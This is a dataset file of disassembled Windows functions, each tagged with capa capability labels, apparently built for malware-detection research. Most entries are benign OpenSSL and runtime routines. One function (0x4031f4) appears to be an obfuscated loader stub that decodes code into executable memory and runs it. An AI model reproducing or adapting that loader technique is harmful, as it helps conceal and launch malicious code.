joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10107aa0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0xa8
call fcn.10116530
mov eax, dword [0x101c3db4]
xor eax, esp
mov dword [esp + 0xa4], eax
mov eax, dword [esp + 0xac]
push ebx
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0xb4]
push ebp
push esi
mov esi, dword [esp + 0xc4]
xor ebp, ebp
mov eax, dword [eax + 4]
push edi
mov edi, dword [esp + 0xc4]
mov dword [esp + 0x14], eax
sub eax, edi
mov dword [esp + 0x10], eax
cmp esi, edi
jae 0x10107b06
push str.orig_len___md_size
push 0xf8
push str.._ssl_s3_cbc.c
call fcn.10089810
add esp, 0xc
cmp edi, 0x40
jbe 0x10107b22
push str.md_size___EVP_MAX_MD_SIZE
push 0xf9
push str.._ssl_s3_cbc.c
call fcn.10089810
add esp, 0xc
lea eax, [esp + 0x34]
neg eax
lea ebx, [esp + 0x34]
and eax, 0x3f
add ebx, eax
lea eax, [edi + 0x100]
mov dword [esp + 0x20], ebx
cmp esi, eax
jbe 0x10107b49
mov ebp, esi
sub ebp, edi
sub ebp, 0x100
mov eax, edi
xor edx, edx
and eax, 0xfffffffe
shl eax, 0x17
sub eax, ebp
add eax, dword [esp + 0x10]
div edi
push edi
mov esi, edx
push 0
push ebx
mov dword [esp + 0x38], esi
call fcn.10136420
add esp, 0xc
mov dword [esp + 0x18], 0
cmp ebp, dword [esp + 0xc8]
jae 0x10107c41
mov ecx, dword [esp + 0x10]
mov edx, ecx
mov ebx, dword [esp + 0x14]
mov esi, ebx
mov eax, dword [esp + 0xc0]
sub esi, ecx
shr edx, 0x1f
mov dword [esp + 0x1c], edx
mov edx, ebx
shr edx, 0x1f
mov eax, dword [eax + 0xc]
mov dword [esp + 0x14], edx
mov edx, ebp
sub edx, ebx
mov dword [esp + 0x24], esi
mov esi, dword [esp + 0x20]
add eax, ebx
mov dword [esp + 0x10], edx
mov dword [esp + 0x28], eax
mov ebx, dword [esp + 0x24]
mov ecx, ebp
shr ecx, 0x1f
inc ebp
mov al, cl
xor al, byte [esp + 0x1c]
lea ebx, [ebx + edx]
shr edx, 0x1f
xor dl, byte [esp + 0x14]
shr ebx, 0x1f
xor bl, byte [esp + 0x1c]
or bl, al
mov al, cl
xor al, byte [esp + 0x14]
xor bl, cl
or dl, al
dec bl
mov eax, dword [esp + 0x10]
xor dl, cl
mov ecx, dword [esp + 0x28]
dec dl
not dl
mov al, byte [ecx + eax]
mov ecx, dword [esp + 0x18]
and dl, al
and dl, bl
or byte [ecx + esi], dl
mov edx, ecx
inc edx
mov ecx, edx
mov eax, edx
sub ecx, edi
xor eax, edi
xor ecx, edi
or ecx, eax
xor ecx, edx
shr ecx, 0x1f
neg ecx
and edx, ecx
mov dword [esp + 0x18], edx
mov edx, dword [esp + 0x10]
inc edx
mov dword [esp + 0x10], edx
cmp ebp, dword [esp + 0xc8]
jb 0x10107bc0
mov esi, dword [esp + 0x2c]
mov ebx, dword [esp + 0x20]
xor edx, edx
test edi, edi
je 0x10107c7a
mov ebp, dword [esp + 0x30]
nop dword [eax + eax]
mov eax, esi
xor eax, 0x20
mov al, byte [eax + ebx]
movzx eax, byte [esi + ebx]
inc esi
mov byte [edx + ebp], al
mov ecx, esi
sub ecx, edi
mov eax, esi
xor ecx, edi
xor eax, edi
or ecx, eax
inc edx
xor ecx, esi
shr ecx, 0x1f
neg ecx
and esi, ecx
cmp edx, edi
jb 0x10107c50
mov ecx, dword [esp + 0xb4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.101156cc
add esp, 0xa8
ret
Function at 0x101086b0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 4
call fcn.10116530
push ebp
mov ebp, dword [esp + 0x18]
push esi
mov esi, dword [esp + 0x14]
inc ebp
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [edi + 8]
mov eax, dword [eax + 0x64]
test byte [eax + 0x38], 1
je 0x101086f8
mov ecx, dword [esp + 0x1c]
mov edx, dword [esi + 4]
lea eax, [ecx + ebp]
cmp eax, edx
jbe 0x101086eb
pop edi
pop esi
xor eax, eax
pop ebp
pop ecx
ret
add dword [esi + 0xc], ecx
add dword [esi + 0x10], ecx
sub edx, ecx
mov dword [esi + 4], edx
jmp 0x101086fd
cmp ebp, dword [esi + 4]
ja 0x101086e4
test dword [edi + 0x100], 0x200
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 4]
push ebx
movzx ebx, byte [ecx + eax - 1]
je 0x10108750
cmp dword [edi + 0x88], 0
jne 0x10108750
mov eax, dword [edi + 0x58]
push 8
add eax, 8
push 0x1019f23c
push eax
call fcn.10089400
add esp, 0xc
test eax, eax
jne 0x10108743
test bl, 1
jne 0x10108743
mov eax, dword [edi + 0x58]
or dword [eax], 8
mov eax, dword [edi + 0x58]
test byte [eax], 8
je 0x10108750
test ebx, ebx
je 0x10108750
dec ebx
mov eax, dword [edi + 0x80]
push dword [eax]
call fcn.100a83c0
add esp, 4
test eax, 0x200000
je 0x1010877a
or eax, 0xffffffff
sub eax, ebx
add dword [esi + 4], eax
mov eax, 1
pop ebx
pop edi
pop esi
pop ebp
pop ecx
ret
mov edi, dword [esi + 4]
lea ecx, [ebx + ebp]
mov edx, edi
mov dword [esp + 0x10], edi
sub edx, ecx
mov eax, edi
xor edx, ecx
xor eax, ecx
or edx, eax
mov ebp, 0xff
xor edx, edi
lea eax, [edi - 1]
shr edx, 0x1f
dec edx
cmp eax, ebp
mov dword [esp + 0x24], edx
cmovb ebp, eax
xor edx, edx
test ebp, ebp
je 0x101087ff
mov ecx, ebx
dec edi
shr ecx, 0x1f
add edi, dword [esi + 0xc]
mov dword [esp + 0x18], ecx
nop word [eax + eax]
mov ecx, ebx
lea edi, [edi - 1]
sub ecx, edx
mov eax, edx
shr ecx, 0x1f
inc edx
shr eax, 0x1f
xor cl, al
xor al, byte [esp + 0x18]
or cl, al
movzx eax, byte [edi + 1]
xor cl, byte [esp + 0x18]
xor eax, ebx
dec cl
movzx ecx, cl
and ecx, eax
mov eax, dword [esp + 0x24]
not ecx
and eax, ecx
mov dword [esp + 0x24], eax
cmp edx, ebp
jb 0x101087c0
mov edi, dword [esp + 0x10]
jmp 0x10108803
mov eax, dword [esp + 0x24]
not eax
movzx eax, al
lea ecx, [eax - 1]
not eax
shr eax, 0x1f
shr ecx, 0x1f
and ecx, eax
lea eax, [ebx + 1]
neg ecx
and eax, ecx
sub edi, eax
shl eax, 8
or dword [esi], eax
mov eax, ecx
pop ebx
mov dword [esi + 4], edi
and eax, 1
pop edi
not ecx
pop esi
or eax, ecx
pop ebp
pop ecx
ret
Function at 0x10108c20
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x14
call fcn.10116530
push esi
push edi
lea eax, [esp + 0xc]
xor edi, edi
push eax
lea eax, [esp + 0xc]
xor esi, esi
push eax
push edi
call fcn.100eff50
add esp, 0xc
test eax, eax
je 0x10108e3b
nop dword [eax + eax]
mov ecx, dword [esp + 8]
lea eax, [esi + 1]
shl ecx, 0xa
inc edi
and ecx, dword [esp + 0x20]
cmove eax, esi
mov esi, eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0xc]
push eax
push edi
call fcn.100eff50
add esp, 0xc
test eax, eax
jne 0x10108c50
test esi, esi
je 0x10108e3b
mov eax, dword [esp + 0x50]
cdq
idiv esi
mov edi, dword [esp + 0x5c]
cmp esi, 1
push ebx
push ebp
mov ebp, dword [esp + 0x5c]
mov esi, 0
cmovne esi, dword [esp + 0x58]
push edi
push 0
push ebp
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], esi
call fcn.10136420
lea eax, [esp + 0x20]
mov dword [esp + 0x2c], 0
push eax
lea eax, [esp + 0x20]
push eax
push 0
call fcn.100eff50
add esp, 0x18
test eax, eax
je 0x10108e06
mov ebx, dword [esp + 0x60]
nop word [eax + eax]
mov eax, dword [esp + 0x10]
shl eax, 0xa
test dword [esp + 0x28], eax
je 0x10108de2
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0x10108e13
push edi
push ebx
push dword [esp + 0x58]
and esi, 1
push dword [esp + 0x58]
add esi, dword [esp + 0x2c]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push esi
mov esi, dword [esp + 0x88]
push esi
push ecx
call fcn.10108e60
add esp, 0x3c
test eax, eax
je 0x10108e31
add esi, dword [esp + 0x1c]
xor ecx, ecx
mov dword [esp + 0x54], esi
test edi, edi
jle 0x10108dde
cmp edi, 0x20
jb 0x10108dbb
lea eax, [ebx - 1]
lea edx, [ebp - 1]
add eax, edi
add edx, edi
cmp ebp, eax
ja 0x10108d71
cmp edx, ebx
jae 0x10108dbb
mov eax, edi
and eax, 0x8000001f
jns 0x10108d7f
dec eax
or eax, 0xffffffe0
inc eax
mov edx, edi
mov esi, ebx
sub edx, eax
mov eax, ebp
sub esi, ebp
nop dword [eax]
movups xmm0, xmmword [eax]
lea eax, [eax + 0x20]
movups xmm1, xmmword [esi + eax - 0x20]
pxor xmm1, xmm0
movups xmmword [eax - 0x20], xmm1
movups xmm1, xmmword [ebx + ecx + 0x10]
add ecx, 0x20
movups xmm0, xmmword [eax - 0x10]
pxor xmm1, xmm0
movups xmmword [eax - 0x10], xmm1
cmp ecx, edx
jl 0x10108d90
cmp ecx, edi
jge 0x10108dde
mov esi, ebx
lea eax, [ecx + ebp]
mov edx, edi
sub esi, ebp
sub edx, ecx
nop word [eax + eax]
mov cl, byte [eax + esi]
lea eax, [eax + 1]
xor byte [eax - 1], cl
sub edx, 1
jne 0x10108dd0
mov esi, dword [esp + 0x18]
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x14]
inc eax
push ecx
push eax
mov dword [esp + 0x2c], eax
call fcn.100eff50
add esp, 0xc
test eax, eax
jne 0x10108ce0
pop ebp
mov eax, 1
pop ebx
pop edi
pop esi
add esp, 0x14
ret
push 0x114
push str.._ssl_t1_enc.c
push 0x146
push 0x11c
push 0x14
call fcn.10082a80
add esp, 0x14
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x14
ret
push 0x109
push str.._ssl_t1_enc.c
push 0x44
push 0x11c
push 0x14
call fcn.10082a80
add esp, 0x14
xor eax, eax
pop edi
pop esi
add esp, 0x14
ret
Function at 0x10119060
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x101c3db4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 8]
push 1
call fcn.101397bb
add esp, 4
cmp edi, eax
sete cl
cmp byte [0x101c3df1], 0
je 0x1011909d
test cl, cl
jne 0x101190bd
cmp byte [0x101dcbe6], cl
jne 0x101190c6
push edi
push 1
push dword [ebp + 0x14]
push ebx
call fcn.10139e19
add esp, 0x10
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.101156cc
mov esp, ebp
pop ebp
ret
cmp byte [0x101dcbe0], 0
je 0x1011909d
mov eax, dword [ebp + 0xc]
xor esi, esi
cmp eax, 3
ja case.default.0x101190d0
jmp dword [eax*4 + 0x10119180]
xor esi, esi
jmp case.default.0x101190d0
mov esi, 3
jmp case.default.0x101190d0
mov esi, 1
test esi, esi
je 0x1011909d
xor eax, eax
test cl, cl
setne al
add eax, 0xfffffff4
push eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x20], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx eax, word [ebp - 0x14]
push edi
mov dword [ebp - 0x24], eax
call fcn.10148aae
add esp, 4
sub esi, 1
je 0x1011913b
sub esi, 1
je 0x10119134
sub esi, 1
je 0x1011912d
xor eax, eax
jmp 0x10119140
mov eax, 6
jmp 0x10119140
mov eax, 2
jmp 0x10119140
mov eax, 4
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
or eax, 8
push eax
push dword [ebp - 0x20]
call esi
push edi
push 1
push dword [ebp + 0x14]
push ebx
call fcn.10139e19
push edi
call fcn.10148aae
add esp, 0x14
push dword [ebp - 0x24]
push dword [ebp - 0x20]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.101156cc
mov esp, ebp
pop ebp
ret
Function at 0x101196d0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101622e6
mov eax, dword fs:[0]
push eax
sub esp, 0x138
mov eax, dword [0x101c3db4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x101dcd48]
test eax, eax
jne 0x101197f4
push 0xc
call fcn.10115c7f
add esp, 4
test eax, eax
je 0x1011972c
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
jmp 0x1011972e
xor eax, eax
mov ecx, dword [0x101c3de4]
mov dword [0x101dcd48], eax
cmp dword [ecx + 0x10], 0
je 0x1011974c
push ecx
mov ecx, eax
call fcn.10032a30
jmp 0x101197ef
push eax
call fcn.10119aa0
add esp, 4
lea eax, [ebp - 0x114]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x101197a8
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x144]
call fcn.100290a0
mov ecx, dword [0x101dcd48]
lea eax, [ebp - 0x144]
push eax
mov dword [ebp - 4], 0
call fcn.1011d3f0
lea ecx, [ebp - 0x144]
mov dword [ebp - 4], 0xffffffff
call fcn.100291b0
push 0x101a06f4
lea ecx, [ebp - 0x12c]
call fcn.100290a0
mov ecx, dword [0x101dcd48]
lea eax, [ebp - 0x12c]
push eax
mov dword [ebp - 4], 1
call fcn.1011d3f0
mov eax, dword [ebp - 0x118]
cmp eax, 0x10
jb 0x101197ef
inc eax
lea ecx, [ebp - 0x12c]
push eax
push dword [ebp - 0x12c]
call fcn.100291f0
mov eax, dword [0x101dcd48]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101156cc
mov esp, ebp
pop ebp
ret
Function at 0x10119aa0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10162391
mov eax, dword fs:[0]
push eax
sub esp, 0x13c
mov eax, dword [0x101c3db4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
push dword [ebp - 0x148]
push esi
push dword [esi + 4]
push dword [esi]
call fcn.10032f90
mov eax, dword [esi]
add esp, 0x10
mov dword [esi + 4], eax
lea eax, [ebp - 0x114]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x10119b89
cmp byte [ebp - 0x114], 0
mov dword [ebp - 0x118], 0xf
mov dword [ebp - 0x11c], 0
mov byte [ebp - 0x12c], 0
jne 0x10119b2a
xor ecx, ecx
jmp 0x10119b3c
lea ecx, [ebp - 0x114]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10119b33
sub ecx, edx
push ecx
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x12c]
call fcn.10028fa0
lea eax, [ebp - 0x12c]
mov dword [ebp - 4], 0
push eax
mov ecx, esi
call fcn.1011d3f0
mov eax, dword [ebp - 0x118]
mov dword [ebp - 4], 0xffffffff
cmp eax, 0x10
jb 0x10119b89
inc eax
lea ecx, [ebp - 0x12c]
push eax
push dword [ebp - 0x12c]
call fcn.100291f0
push 7
push str.C:_tmp_
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x118], 0xf
mov dword [ebp - 0x11c], 0
mov byte [ebp - 0x12c], 0
call fcn.10028fa0
lea eax, [ebp - 0x12c]
mov dword [ebp - 4], 1
push eax
mov ecx, esi
call fcn.1011d3f0
mov eax, dword [ebp - 0x118]
mov dword [ebp - 4], 0xffffffff
cmp eax, 0x10
jb 0x10119bf0
inc eax
lea ecx, [ebp - 0x12c]
push eax
push dword [ebp - 0x12c]
call fcn.100291f0
push 8
push str.C:_temp_
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x130], 0xf
mov dword [ebp - 0x134], 0
mov byte [ebp - 0x144], 0
call fcn.10028fa0
lea eax, [ebp - 0x144]
mov dword [ebp - 4], 2
push eax
mov ecx, esi
call fcn.1011d3f0
mov eax, dword [ebp - 0x130]
cmp eax, 0x10
jb 0x10119c50
inc eax
lea ecx, [ebp - 0x144]
push eax
push dword [ebp - 0x144]
call fcn.100291f0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101156cc
mov esp, ebp
pop ebp
ret

Function at 0x1011ac00
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp eax, dword [0x101c3de0]
jge 0x1011ac17
cmp byte [0x101dcbe2], 0
je 0x1011ac3a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push 2
call fcn.101397bb
add esp, 4
push eax
call fcn.10119060
add esp, 0x10
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop ebp
ret
Function at 0x10120275
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x10152fe2
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10152e61

Function at 0x10156b3d
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.101567fd

Function at 0x1015d0f0
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push edi
push 0
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov edi, dword [esp + 0xc]
push 0
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [edi + 0x1c]
call dword [sym.imp.WS2_32.dll_send]
push 0xf
push edi
mov esi, eax
call fcn.10076710
add esp, 8
test esi, esi
jg 0x1015d147
je 0x1015d129
cmp esi, 0xffffffff
jne 0x1015d147
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.1015d350
add esp, 4
test eax, eax
je 0x1015d147
push 0xa
push edi
call fcn.10076e10
add esp, 8
pop edi
mov eax, esi
pop esi
ret

Function at 0x1015d4b0
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi + 0x20]
cmp dword [eax], 6
je 0x1015d4cb
push eax
push esi
call fcn.1015db60
add esp, 8
test eax, eax
jle 0x1015d513
push edi
push 0
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push 0
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_send]
push 0xf
push esi
mov edi, eax
call fcn.10076710
add esp, 8
test edi, edi
jg 0x1015d510
push edi
call fcn.1015d410
add esp, 4
test eax, eax
je 0x1015d510
push 0xa
push esi
call fcn.10076e10
add esp, 8
mov eax, edi
pop edi
pop esi
ret
Function at 0x1015f430
Capabilities:
Resolve dns

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x10]
mov ebp, 1
push edi
push ebx
push esi
call fcn.1015f8f0
mov edi, eax
add esp, 8
test edi, edi
jns 0x1015f46b
push 0x7b
push str..crypto_bio_b_sock.c
push 0x6c
push 0x6a
push 0x20
call fcn.10082a80
add esp, 0x14
jmp 0x1015f52c
call fcn.1015f820
cmp eax, 1
jne 0x1015f53c
test edi, edi
jle 0x1015f484
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
ret
push 0x8e
push str..crypto_bio_b_sock.c
push 0x16
push 9
call fcn.10089390
add esp, 0x10
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, eax
test ecx, ecx
jne 0x1015f4c1
push 0x92
push str..crypto_bio_b_sock.c
push 0x66
push 0x6a
push 0x20
call fcn.10082a80
add esp, 0x14
jmp 0x1015f512
cmp word [ecx + 8], 2
je 0x1015f4e2
push 0x99
push str..crypto_bio_b_sock.c
push 0x6b
push 0x6a
push 0x20
call fcn.10082a80
add esp, 0x14
jmp 0x1015f512
mov eax, dword [ecx + 0xc]
xor ebp, ebp
mov eax, dword [eax]
movzx eax, byte [eax]
mov byte [ebx], al
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
movzx eax, byte [eax + 1]
mov byte [ebx + 1], al
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
movzx eax, byte [eax + 2]
mov byte [ebx + 2], al
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
movzx eax, byte [eax + 3]
mov byte [ebx + 3], al
push 0xa2
push str..crypto_bio_b_sock.c
push 0x16
push 0xa
call fcn.10089390
add esp, 0x10
test ebp, ebp
je 0x1015f543
push esi
push str.host
push 2
call fcn.100820a0
add esp, 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x1015f8a0
Capabilities:
Set socket configuration

Disassembly:
mov eax, dword [esp + 8]
push esi
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
push 0x8004667e
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov esi, eax
test esi, esi
jns 0x1015f8e0
push 0x233
push str..crypto_bio_b_sock.c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 5
push 2
call fcn.10082a80
add esp, 0x14
xor eax, eax
test esi, esi
pop esi
sete al
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x403203
pop dword [ebp - 0x2c]
mov eax, 0x39c9f181
sub eax, 0x3989bf7e
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xee908158
add dword [ebp - 0x3c], 0x5fc1c3f3
mov dword [ebp - 0x38], 0x4fddf8aa
sub dword [ebp - 0x38], 0x1daaac65
mov dword [ebp - 0x34], 0xcaf53eeb
add dword [ebp - 0x34], 0x81570543
mov dword [ebp - 0x30], 0x46139e4
sub dword [ebp - 0x30], 0x46139e4
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x3c043318
add dword [ebp - 0x3c], 0x386e363e
mov dword [ebp - 0x38], 0x3a37c0df
add dword [ebp - 0x38], 0x734a096
mov dword [ebp - 0x34], 0x5ba2defa
sub dword [ebp - 0x34], 0xf833728e
mov dword [ebp - 0x30], 0xc9d72604
add dword [ebp - 0x30], 0x3628d9fc
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xd9e37102
add eax, 0x265cffa6
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x39651
push 0
call eax
mov ecx, 0xccd8e3c1
add ecx, 0x33276f73
mov esi, eax
mov edx, 0x410000
add edx, dword [ebp - 0x2c]
mov edi, 0x147bde28
xor dword [ebp - 0x24], ecx
mov ebx, dword [edx]
xor dword [ebp - 0x18], edi
add ebx, edi
xor dword [ebp - 0x24], esi
mov dword [esi], ebx
add dword [ebp - 0x24], edx
add esi, 4
add edx, 4
loop 0x403314
add eax, 0xd8c7fb13
sub eax, 0xd8c6bb70
xor ebx, ebx
add ebx, eax
add eax, 0x957e36d5
sub eax, 0x957e36d0
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x4018e0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40401b
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x408040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov dword [ebp - 0x20], esi
mov ebx, ecx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 4], 0
push 0x405833
mov dword [ebp - 0x14], 0
call dword [sym.imp.mfc140.dll_Ordinal_310]
lea eax, [ebp - 0x30]
mov dword [ebp - 4], 0
push eax
push esi
mov dword [ebp - 0x14], 1
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov esi, eax
test esi, esi
je 0x401a57
push esi
call dword [sym.imp.mfc140.dll_Ordinal_265]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
push edi
push esi
push 0
push dword [ebp - 0x20]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x401a4d
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1c]
push eax
push str.VarFileInfoTranslation
push edi
mov edi, dword [sym.imp.VERSION.dll_VerQueryValueA]
call edi
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x10]
movzx esi, word [eax]
movzx eax, word [eax + 2]
shl esi, 0x10
add esi, eax
call dword [sym.imp.mfc140.dll_Ordinal_316]
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 1
push str._08x
push eax
call dword [sym.imp.mfc140.dll_Ordinal_4807]
add esp, 0xc
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call dword [sym.imp.mfc140.dll_Ordinal_5898]
push eax
lea ecx, [ebp - 0x18]
call dword [sym.imp.mfc140.dll_Ordinal_305]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], 3
push dword [eax - 0xc]
push eax
push 0x10
lea eax, [ebp - 0x18]
push str.StringFileInfo_
push eax
call dword [sym.imp.mfc140.dll_Ordinal_3005]
add esp, 0x10
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x20]
call fcn.00401b10
add esp, 4
mov dword [ebp - 0x14], 1
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 4
call dword [sym.imp.mfc140.dll_Ordinal_1044]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call edi
test eax, eax
je 0x401a34
push dword [ebp - 0x1c]
mov ecx, ebx
call dword [sym.imp.mfc140.dll_Ordinal_1529]
lea ecx, [ebp - 0x20]
call dword [sym.imp.mfc140.dll_Ordinal_1044]
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 0
call dword [sym.imp.mfc140.dll_Ordinal_1044]
mov edi, dword [ebp - 0x24]
push edi
call dword [sym.imp.mfc140.dll_Ordinal_266]
add esp, 4
push 0x40582c
push 0x405830
mov ecx, ebx
call dword [sym.imp.mfc140.dll_Ordinal_12706]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret